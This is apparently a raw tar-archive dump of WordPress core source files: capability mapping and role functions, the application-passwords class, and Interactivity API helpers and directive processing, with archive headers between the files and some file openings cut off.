4.6.0 As `auth_post_{$post_type}_meta_{$meta_key}`. * @since 4.7.0 Renamed from `auth_post_{$post_type}_meta_{$meta_key}` to * `auth_{$object_type}_{$object_subtype}_meta_{$meta_key}`. * @deprecated 4.9.8 Use {@see 'auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}'} instead. * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters_deprecated( "auth_{$object_type}_{$object_subtype}_meta_{$meta_key}", array( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ), '4.9.8', "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ); } if ( ! $allowed ) { $caps[] = $cap; } } break; case 'edit_comment': $comment = get_comment( $args[0] ); if ( ! $comment ) { $caps[] = 'do_not_allow'; break; } $post = get_post( $comment->comment_post_ID ); /* * If the post doesn't exist, we have an orphaned comment. * Fall back to the edit_posts capability, instead. */ if ( $post ) { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } else { $caps = map_meta_cap( 'edit_posts', $user_id ); } break; case 'unfiltered_upload': if ( defined( 'ALLOW_UNFILTERED_UPLOADS' ) && ALLOW_UNFILTERED_UPLOADS && ( ! is_multisite() || is_super_admin( $user_id ) ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'edit_css': case 'unfiltered_html': // Disallow unfiltered_html for all users, even admins and super admins. if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'unfiltered_html'; } break; case 'edit_files': case 'edit_plugins': case 'edit_themes': // Disallow the file editors. if ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT ) { $caps[] = 'do_not_allow'; } elseif ( ! wp_is_file_mod_allowed( 'capability_edit_themes' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = $cap; } break; case 'update_plugins': case 'delete_plugins': case 'install_plugins': case 'upload_plugins': case 'update_themes': case 'delete_themes': case 'install_themes': case 'upload_themes': case 'update_core': // Disallow anything that creates, deletes, or updates core, plugin, or theme files. // Files in uploads are excepted. if ( ! wp_is_file_mod_allowed( 'capability_update_core' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } elseif ( 'upload_themes' === $cap ) { $caps[] = 'install_themes'; } elseif ( 'upload_plugins' === $cap ) { $caps[] = 'install_plugins'; } else { $caps[] = $cap; } break; case 'install_languages': case 'update_languages': if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'install_languages'; } break; case 'activate_plugins': case 'deactivate_plugins': case 'activate_plugin': case 'deactivate_plugin': $caps[] = 'activate_plugins'; if ( is_multisite() ) { // update_, install_, and delete_ are handled above with is_super_admin(). $menu_perms = get_site_option( 'menu_items', array() ); if ( empty( $menu_perms['plugins'] ) ) { $caps[] = 'manage_network_plugins'; } } break; case 'resume_plugin': $caps[] = 'resume_plugins'; break; case 'resume_theme': $caps[] = 'resume_themes'; break; case 'delete_user': case 'delete_users': // If multisite only super admins can delete users. if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'delete_users'; // delete_user maps to delete_users. } break; case 'create_users': if ( ! is_multisite() ) { $caps[] = $cap; } elseif ( is_super_admin( $user_id ) || get_site_option( 'add_new_users' ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'manage_links': if ( get_option( 'link_manager_enabled' ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'customize': $caps[] = 'edit_theme_options'; break; case 'delete_site': if ( is_multisite() ) { $caps[] = 'manage_options'; } else { $caps[] = 'do_not_allow'; } break; case 'edit_term': case 'delete_term': case 'assign_term': $term_id = (int) $args[0]; $term = get_term( $term_id ); if ( ! $term || is_wp_error( $term ) ) { $caps[] = 'do_not_allow'; break; } $tax = get_taxonomy( $term->taxonomy ); if ( ! $tax ) { $caps[] = 'do_not_allow'; break; } if ( 'delete_term' === $cap && ( get_option( 'default_' . $term->taxonomy ) == $term->term_id || get_option( 'default_term_' . $term->taxonomy ) == $term->term_id ) ) { $caps[] = 'do_not_allow'; break; } $taxo_cap = $cap . 's'; $caps = map_meta_cap( $tax->cap->$taxo_cap, $user_id, $term_id ); break; case 'manage_post_tags': case 'edit_categories': case 'edit_post_tags': case 'delete_categories': case 'delete_post_tags': $caps[] = 'manage_categories'; break; case 'assign_categories': case 'assign_post_tags': $caps[] = 'edit_posts'; break; case 'create_sites': case 'delete_sites': case 'manage_network': case 'manage_sites': case 'manage_network_users': case 'manage_network_plugins': case 'manage_network_themes': case 'manage_network_options': case 'upgrade_network': $caps[] = $cap; break; case 'setup_network': if ( is_multisite() ) { $caps[] = 'manage_network_options'; } else { $caps[] = 'manage_options'; } break; case 'update_php': if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'update_core'; } break; case 'update_https': if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'manage_options'; $caps[] = 'update_core'; } break; case 'export_others_personal_data': case 'erase_others_personal_data': case 'manage_privacy_options': $caps[] = is_multisite() ? 'manage_network' : 'manage_options'; break; case 'create_app_password': case 'list_app_passwords': case 'read_app_password': case 'edit_app_password': case 'delete_app_passwords': case 'delete_app_password': $caps = map_meta_cap( 'edit_user', $user_id, $args[0] ); break; default: // Handle meta capabilities for custom post types. global $post_type_meta_caps; if ( isset( $post_type_meta_caps[ $cap ] ) ) { return map_meta_cap( $post_type_meta_caps[ $cap ], $user_id, ...$args ); } // Block capabilities map to their post equivalent. $block_caps = array( 'edit_blocks', 'edit_others_blocks', 'publish_blocks', 'read_private_blocks', 'delete_blocks', 'delete_private_blocks', 'delete_published_blocks', 'delete_others_blocks', 'edit_private_blocks', 'edit_published_blocks', ); if ( in_array( $cap, $block_caps, true ) ) { $cap = str_replace( '_blocks', '_posts', $cap ); } // If no meta caps match, return the original cap. $caps[] = $cap; } /** * Filters the primitive capabilities required of the given user to satisfy the * capability being checked. * * @since 2.8.0 * * @param string[] $caps Primitive capabilities required of the user. * @param string $cap Capability being checked. * @param int $user_id The user ID. * @param array $args Adds context to the capability check, typically * starting with an object ID. */ return apply_filters( 'map_meta_cap', $caps, $cap, $user_id, $args ); } /** * Returns whether the current user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * current_user_can( 'edit_posts' ); * current_user_can( 'edit_post', $post->ID ); * current_user_can( 'edit_post_meta', $post->ID, $meta_key ); * * While checking against particular roles in place of a capability is supported * in part, this practice is discouraged as it may produce unreliable results. * * Note: Will always return true if the current user is a super admin, unless specifically denied. * * @since 2.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.8.0 Converted to wrapper for the user_can() function. * * @see WP_User::has_cap() * @see map_meta_cap() * * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the current user has the given capability. If `$capability` is a meta cap and `$object_id` is * passed, whether the current user has the given meta capability for the given object. */ function current_user_can( $capability, ...$args ) { return user_can( wp_get_current_user(), $capability, ...$args ); } /** * Returns whether the current user has the specified capability for a given site. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * current_user_can_for_blog( $blog_id, 'edit_posts' ); * current_user_can_for_blog( $blog_id, 'edit_post', $post->ID ); * current_user_can_for_blog( $blog_id, 'edit_post_meta', $post->ID, $meta_key ); * * @since 3.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.8.0 Wraps current_user_can() after switching to blog. * * @param int $blog_id Site ID. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function current_user_can_for_blog( $blog_id, $capability, ...$args ) { $switched = is_multisite() ? switch_to_blog( $blog_id ) : false; $can = current_user_can( $capability, ...$args ); if ( $switched ) { restore_current_blog(); } return $can; } /** * Returns whether the author of the supplied post has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * author_can( $post, 'edit_posts' ); * author_can( $post, 'edit_post', $post->ID ); * author_can( $post, 'edit_post_meta', $post->ID, $meta_key ); * * @since 2.9.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int|WP_Post $post Post ID or post object. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the post author has the given capability. */ function author_can( $post, $capability, ...$args ) { $post = get_post( $post ); if ( ! $post ) { return false; } $author = get_userdata( $post->post_author ); if ( ! $author ) { return false; } return $author->has_cap( $capability, ...$args ); } /** * Returns whether a particular user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * user_can( $user->ID, 'edit_posts' ); * user_can( $user->ID, 'edit_post', $post->ID ); * user_can( $user->ID, 'edit_post_meta', $post->ID, $meta_key ); * * @since 3.1.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int|WP_User $user User ID or object. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function user_can( $user, $capability, ...$args ) { if ( ! is_object( $user ) ) { $user = get_userdata( $user ); } if ( empty( $user ) ) { // User is logged out, create anonymous user object. $user = new WP_User( 0 ); $user->init( new stdClass ); } return $user->has_cap( $capability, ...$args ); } /** * Retrieves the global WP_Roles instance and instantiates it if necessary. * * @since 4.3.0 * * @global WP_Roles $wp_roles WordPress role management object. * * @return WP_Roles WP_Roles global instance if not already instantiated. */ function wp_roles() { global $wp_roles; if ( ! isset( $wp_roles ) ) { $wp_roles = new WP_Roles(); } return $wp_roles; } /** * Retrieves role object. * * @since 2.0.0 * * @param string $role Role name. * @return WP_Role|null WP_Role object if found, null if the role does not exist. */ function get_role( $role ) { return wp_roles()->get_role( $role ); } /** * Adds a role, if it does not exist. * * @since 2.0.0 * * @param string $role Role name. * @param string $display_name Display name for role. * @param bool[] $capabilities List of capabilities keyed by the capability name, * e.g. array( 'edit_posts' => true, 'delete_posts' => false ). * @return WP_Role|null WP_Role object if role is added, null if already exists. */ function add_role( $role, $display_name, $capabilities = array() ) { if ( empty( $role ) ) { return; } return wp_roles()->add_role( $role, $display_name, $capabilities ); } /** * Removes a role, if it exists. * * @since 2.0.0 * * @param string $role Role name. */ function remove_role( $role ) { wp_roles()->remove_role( $role ); } /** * Retrieves a list of super admins. * * @since 3.0.0 * * @global array $super_admins * * @return string[] List of super admin logins. */ function get_super_admins() { global $super_admins; if ( isset( $super_admins ) ) { return $super_admins; } else { return get_site_option( 'site_admins', array( 'admin' ) ); } } /** * Determines whether user is a site admin. * * @since 3.0.0 * * @param int|false $user_id Optional. The ID of a user. Defaults to false, to check the current user. * @return bool Whether the user is a site admin. */ function is_super_admin( $user_id = false ) { if ( ! $user_id ) { $user = wp_get_current_user(); } else { $user = get_userdata( $user_id ); } if ( ! $user || ! $user->exists() ) { return false; } if ( is_multisite() ) { $super_admins = get_super_admins(); if ( is_array( $super_admins ) && in_array( $user->user_login, $super_admins, true ) ) { return true; } } else { if ( $user->has_cap( 'delete_users' ) ) { return true; } } return false; } /** * Grants Super Admin privileges. * * @since 3.0.0 * * @global array $super_admins * * @param int $user_id ID of the user to be granted Super Admin privileges. * @return bool True on success, false on failure. This can fail when the user is * already a super admin or when the `$super_admins` global is defined. */ function grant_super_admin( $user_id ) { // If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) { return false; } /** * Fires before the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that is about to be granted Super Admin privileges. */ do_action( 'grant_super_admin', $user_id ); // Directly fetch site_admins instead of using get_super_admins(). $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && ! in_array( $user->user_login, $super_admins, true ) ) { $super_admins[] = $user->user_login; update_site_option( 'site_admins', $super_admins ); /** * Fires after the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that was granted Super Admin privileges. */ do_action( 'granted_super_admin', $user_id ); return true; } return false; } /** * Revokes Super Admin privileges. * * @since 3.0.0 * * @global array $super_admins * * @param int $user_id ID of the user Super Admin privileges to be revoked from. * @return bool True on success, false on failure. This can fail when the user's email * is the network admin email or when the `$super_admins` global is defined. */ function revoke_super_admin( $user_id ) { // If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) { return false; } /** * Fires before the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges are being revoked from. */ do_action( 'revoke_super_admin', $user_id ); // Directly fetch site_admins instead of using get_super_admins(). $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && 0 !== strcasecmp( $user->user_email, get_site_option( 'admin_email' ) ) ) { $key = array_search( $user->user_login, $super_admins, true ); if ( false !== $key ) { unset( $super_admins[ $key ] ); update_site_option( 'site_admins', $super_admins ); /** * Fires after the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges were revoked from. */ do_action( 'revoked_super_admin', $user_id ); return true; } } return false; } /** * Filters the user capabilities to grant the 'install_languages' capability as necessary. * * A user must have at least one out of the 'update_core', 'install_plugins', and * 'install_themes' capabilities to qualify for 'install_languages'. * * @since 4.9.0 * * @param bool[] $allcaps An array of all the user's capabilities. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_install_languages_cap( $allcaps ) { if ( ! empty( $allcaps['update_core'] ) || ! empty( $allcaps['install_plugins'] ) || ! empty( $allcaps['install_themes'] ) ) { $allcaps['install_languages'] = true; } return $allcaps; } /** * Filters the user capabilities to grant the 'resume_plugins' and 'resume_themes' capabilities as necessary. * * @since 5.2.0 * * @param bool[] $allcaps An array of all the user's capabilities. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_resume_extensions_caps( $allcaps ) { // Even in a multisite, regular administrators should be able to resume plugins. if ( ! empty( $allcaps['activate_plugins'] ) ) { $allcaps['resume_plugins'] = true; } // Even in a multisite, regular administrators should be able to resume themes. if ( ! empty( $allcaps['switch_themes'] ) ) { $allcaps['resume_themes'] = true; } return $allcaps; } /** * Filters the user capabilities to grant the 'view_site_health_checks' capabilities as necessary. * * @since 5.2.2 * * @param bool[] $allcaps An array of all the user's capabilities. * @param string[] $caps Required primitive capabilities for the requested capability. * @param array $args { * Arguments that accompany the requested capability check. * * @type string $0 Requested capability. * @type int $1 Concerned user ID. * @type mixed ...$2 Optional second and further parameters, typically object ID. * } * @param WP_User $user The user object. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_site_health_caps( $allcaps, $caps, $args, $user ) { if ( ! empty( $allcaps['install_plugins'] ) && ( ! is_multisite() || is_super_admin( $user->ID ) ) ) { $allcaps['view_site_health_checks'] = true; } return $allcaps; } return; // Dummy gettext calls to get strings in the catalog. /* translators: User role for administrators. */ _x( 'Administrator', 'User role' ); /* translators: User role for editors. */ _x( 'Editor', 'User role' ); /* translators: User role for authors. */ _x( 'Author', 'User role' ); /* translators: User role for contributors. */ _x( 'Contributor', 'User role' ); /* translators: User role for subscribers. */ _x( 'Subscriber', 'User role' ); class-wp-application-passwords.php000064400000027713147177035010013351 0ustar00 400 ) ); } if ( self::application_name_exists_for_user( $user_id, $args['name'] ) ) { return new WP_Error( 'application_password_duplicate_name', __( 'Each application name should be unique.' ), array( 'status' => 409 ) ); } $new_password = wp_generate_password( static::PW_LENGTH, false ); $hashed_password = wp_hash_password( $new_password ); $new_item = array( 'uuid' => wp_generate_uuid4(), 'app_id' => empty( $args['app_id'] ) ? '' : $args['app_id'], 'name' => $args['name'], 'password' => $hashed_password, 'created' => time(), 'last_used' => null, 'last_ip' => null, ); $passwords = static::get_user_application_passwords( $user_id ); $passwords[] = $new_item; $saved = static::set_user_application_passwords( $user_id, $passwords ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not save application password.' ) ); } $network_id = get_main_network_id(); if ( ! get_network_option( $network_id, self::OPTION_KEY_IN_USE ) ) { update_network_option( $network_id, self::OPTION_KEY_IN_USE, true ); } /** * Fires when an application password is created. * * @since 5.6.0 * * @param int $user_id The user ID. * @param array $new_item { * The details about the created password. * * @type string $uuid The unique identifier for the application password. * @type string $app_id A UUID provided by the application to uniquely identify it. * @type string $name The name of the application password. * @type string $password A one-way hash of the password. * @type int $created Unix timestamp of when the password was created. * @type null $last_used Null. * @type null $last_ip Null. * } * @param string $new_password The unhashed generated application password. * @param array $args { * Arguments used to create the application password. * * @type string $name The name of the application password. * @type string $app_id A UUID provided by the application to uniquely identify it. * } */ do_action( 'wp_create_application_password', $user_id, $new_item, $new_password, $args ); return array( $new_password, $new_item ); } /** * Gets a user's application passwords. * * @since 5.6.0 * * @param int $user_id User ID. * @return array { * The list of app passwords. * * @type array ...$0 { * @type string $uuid The unique identifier for the application password. * @type string $app_id A UUID provided by the application to uniquely identify it. * @type string $name The name of the application password. * @type string $password A one-way hash of the password. * @type int $created Unix timestamp of when the password was created. * @type int|null $last_used The Unix timestamp of the GMT date the application password was last used. * @type string|null $last_ip The IP address the application password was last used by. * } * } */ public static function get_user_application_passwords( $user_id ) { $passwords = get_user_meta( $user_id, static::USERMETA_KEY_APPLICATION_PASSWORDS, true ); if ( ! is_array( $passwords ) ) { return array(); } $save = false; foreach ( $passwords as $i => $password ) { if ( ! isset( $password['uuid'] ) ) { $passwords[ $i ]['uuid'] = wp_generate_uuid4(); $save = true; } } if ( $save ) { static::set_user_application_passwords( $user_id, $passwords ); } return $passwords; } /** * Gets a user's application password with the given UUID. * * @since 5.6.0 * * @param int $user_id User ID. * @param string $uuid The password's UUID. * @return array|null The application password if found, null otherwise. */ public static function get_user_application_password( $user_id, $uuid ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as $password ) { if ( $password['uuid'] === $uuid ) { return $password; } } return null; } /** * Checks if an application password with the given name exists for this user. * * @since 5.7.0 * * @param int $user_id User ID. * @param string $name Application name. * @return bool Whether the provided application name exists. */ public static function application_name_exists_for_user( $user_id, $name ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as $password ) { if ( strtolower( $password['name'] ) === strtolower( $name ) ) { return true; } } return false; } /** * Updates an application password. * * @since 5.6.0 * * @param int $user_id User ID. * @param string $uuid The password's UUID. * @param array $update Information about the application password to update. * @return true|WP_Error True if successful, otherwise a WP_Error instance is returned on error. */ public static function update_application_password( $user_id, $uuid, $update = array() ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as &$item ) { if ( $item['uuid'] !== $uuid ) { continue; } if ( ! empty( $update['name'] ) ) { $update['name'] = sanitize_text_field( $update['name'] ); } $save = false; if ( ! empty( $update['name'] ) && $item['name'] !== $update['name'] ) { $item['name'] = $update['name']; $save = true; } if ( $save ) { $saved = static::set_user_application_passwords( $user_id, $passwords ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not save application password.' ) ); } } /** * Fires when an application password is updated. * * @since 5.6.0 * * @param int $user_id The user ID. * @param array $item The updated app password details. * @param array $update The information to update. */ do_action( 'wp_update_application_password', $user_id, $item, $update ); return true; } return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) ); } /** * Records that an application password has been used. * * @since 5.6.0 * * @param int $user_id User ID. * @param string $uuid The password's UUID. * @return true|WP_Error True if the usage was recorded, a WP_Error if an error occurs. */ public static function record_application_password_usage( $user_id, $uuid ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as &$password ) { if ( $password['uuid'] !== $uuid ) { continue; } // Only record activity once a day. if ( $password['last_used'] + DAY_IN_SECONDS > time() ) { return true; } $password['last_used'] = time(); $password['last_ip'] = $_SERVER['REMOTE_ADDR']; $saved = static::set_user_application_passwords( $user_id, $passwords ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not save application password.' ) ); } return true; } // Specified Application Password not found! return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) ); } /** * Deletes an application password. * * @since 5.6.0 * * @param int $user_id User ID. * @param string $uuid The password's UUID. * @return true|WP_Error Whether the password was successfully found and deleted, a WP_Error otherwise. */ public static function delete_application_password( $user_id, $uuid ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as $key => $item ) { if ( $item['uuid'] === $uuid ) { unset( $passwords[ $key ] ); $saved = static::set_user_application_passwords( $user_id, $passwords ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not delete application password.' ) ); } /** * Fires when an application password is deleted. * * @since 5.6.0 * * @param int $user_id The user ID. * @param array $item The data about the application password. */ do_action( 'wp_delete_application_password', $user_id, $item ); return true; } } return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) ); } /** * Deletes all application passwords for the given user. * * @since 5.6.0 * * @param int $user_id User ID. * @return int|WP_Error The number of passwords that were deleted or a WP_Error on failure. */ public static function delete_all_application_passwords( $user_id ) { $passwords = static::get_user_application_passwords( $user_id ); if ( $passwords ) { $saved = static::set_user_application_passwords( $user_id, array() ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not delete application passwords.' ) ); } foreach ( $passwords as $item ) { /** This action is documented in wp-includes/class-wp-application-passwords.php */ do_action( 'wp_delete_application_password', $user_id, $item ); } return count( $passwords ); } return 0; } /** * Sets a user's application passwords. * * @since 5.6.0 * * @param int $user_id User ID. * @param array $passwords Application passwords. * * @return bool */ protected static function set_user_application_passwords( $user_id, $passwords ) { return update_user_meta( $user_id, static::USERMETA_KEY_APPLICATION_PASSWORDS, $passwords ); } /** * Sanitizes and then splits a password into smaller chunks. * * @since 5.6.0 * * @param string $raw_password The raw application password. * @return string The chunked password. */ public static function chunk_password( $raw_password ) { $raw_password = preg_replace( '/[^a-z\d]/i', '', $raw_password ); return trim( chunk_split( $raw_password, 4, ' ' ) ); } } interactivity-api/interactivity-api.php000064400000011652147177035010014401 0ustar00process_directives( $html ); } /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * The namespace can be omitted inside derived state getters, using the * namespace where the getter is defined. * * @since 6.5.0 * @since 6.6.0 The namespace can be omitted when called inside derived state getters. * * @param string $store_namespace The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The state for the specified store namespace. This will be the updated state if a $state argument was * provided. */ function wp_interactivity_state( ?string $store_namespace = null, array $state = array() ): array { return wp_interactivity()->state( $store_namespace, $state ); } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ function wp_interactivity_config( string $store_namespace, array $config = array() ): array { return wp_interactivity()->config( $store_namespace, $config ); } /** * Generates a `data-wp-context` directive attribute by encoding a context * array. * * This helper function simplifies the creation of `data-wp-context` directives * by providing a way to pass an array of data, which encodes into a JSON string * safe for direct use as a HTML attribute value. * * Example: * *
true, 'count' => 0 ) ); ?>> * * @since 6.5.0 * * @param array $context The array of context data to encode. * @param string $store_namespace Optional. The unique store namespace identifier. * @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and * the store namespace if specified. */ function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string { return 'data-wp-context=\'' . ( $store_namespace ? $store_namespace . '::' : '' ) . ( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ) . '\''; } /** * Gets the current Interactivity API context for a given namespace. * * The function should be used only during directive processing. If the * `$store_namespace` parameter is omitted, it uses the current namespace value * on the internal namespace stack. * * It returns an empty array when the specified namespace is not defined. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. * @return array The context for the specified store namespace. */ function wp_interactivity_get_context( ?string $store_namespace = null ): array { return wp_interactivity()->get_context( $store_namespace ); } /** * Returns an array representation of the current element being processed. * * The function should be used only during directive processing. * * @since 6.7.0 * * @return array{attributes: array}|null Current element. */ function wp_interactivity_get_element(): ?array { return wp_interactivity()->get_element(); } interactivity-api/class-wp-interactivity-api-directives-processor.php000064400000017077147177035010022313 0ustar00get_tag() ) { return null; } $positions = $this->get_after_opener_tag_and_before_closer_tag_positions(); if ( ! $positions ) { return null; } list( $after_opener_tag, $before_closer_tag ) = $positions; return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag ); } /** * Sets the content between two balanced tags. * * @since 6.5.0 * * @access private * * @param string $new_content The string to replace the content between the matching tags. * @return bool Whether the content was successfully replaced. */ public function set_content_between_balanced_tags( string $new_content ): bool { $positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true ); if ( ! $positions ) { return false; } list( $after_opener_tag, $before_closer_tag ) = $positions; $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_opener_tag, $before_closer_tag - $after_opener_tag, esc_html( $new_content ) ); return true; } /** * Appends content after the closing tag of a template tag. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @access private * * @param string $new_content The string to append after the closing template tag. * @return bool Whether the content was successfully appended. */ public function append_content_after_template_tag_closer( string $new_content ): bool { if ( empty( $new_content ) || 'TEMPLATE' !== $this->get_tag() || ! $this->is_tag_closer() ) { return false; } // Flushes any changes. $this->get_updated_html(); $bookmark = 'append_content_after_template_tag_closer'; $this->set_bookmark( $bookmark ); $after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length; $this->release_bookmark( $bookmark ); // Appends the new content. $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content ); return true; } /** * Gets the positions right after the opener tag and right before the closer * tag in a balanced tag. * * By default, it positions the cursor in the closer tag of the balanced tag. * If $rewind is true, it seeks back to the opener tag. * * @since 6.5.0 * * @access private * * @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false. * @return array|null Start and end byte position, or null when no balanced tag bookmarks. */ private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) { // Flushes any changes. $this->get_updated_html(); $bookmarks = $this->get_balanced_tag_bookmarks(); if ( ! $bookmarks ) { return null; } list( $opener_tag, $closer_tag ) = $bookmarks; $after_opener_tag = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length; $before_closer_tag = $this->bookmarks[ $closer_tag ]->start; if ( $rewind ) { $this->seek( $opener_tag ); } $this->release_bookmark( $opener_tag ); $this->release_bookmark( $closer_tag ); return array( $after_opener_tag, $before_closer_tag ); } /** * Returns a pair of bookmarks for the current opener tag and the matching * closer tag. * * It positions the cursor in the closer tag of the balanced tag, if it * exists. * * @since 6.5.0 * * @return array|null A pair of bookmarks, or null if there's no matching closing tag. */ private function get_balanced_tag_bookmarks() { static $i = 0; $opener_tag = 'opener_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $opener_tag ); if ( ! $this->next_balanced_tag_closer_tag() ) { $this->release_bookmark( $opener_tag ); return null; } $closer_tag = 'closer_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $closer_tag ); return array( $opener_tag, $closer_tag ); } /** * Skips processing the content between tags. * * It positions the cursor in the closer tag of the foreign element, if it * exists. * * This function is intended to skip processing SVG and MathML inner content * instead of bailing out the whole processing. * * @since 6.5.0 * * @access private * * @return bool Whether the foreign content was successfully skipped. */ public function skip_to_tag_closer(): bool { $depth = 1; $tag_name = $this->get_tag(); while ( $depth > 0 && $this->next_tag( array( 'tag_closers' => 'visit' ) ) ) { if ( ! $this->is_tag_closer() && $this->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag. */ $message = sprintf( __( 'Interactivity directives were detected inside an incompatible %1$s tag. These directives will be ignored in the server side render.' ), $tag_name ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } if ( $this->get_tag() === $tag_name ) { if ( $this->has_self_closing_flag() ) { continue; } $depth += $this->is_tag_closer() ? -1 : 1; } } return 0 === $depth; } /** * Finds the matching closing tag for an opening tag. * * When called while the processor is on an open tag, it traverses the HTML * until it finds the matching closer tag, respecting any in-between content, * including nested tags of the same name. Returns false when called on a * closer tag, a tag that doesn't have a closer 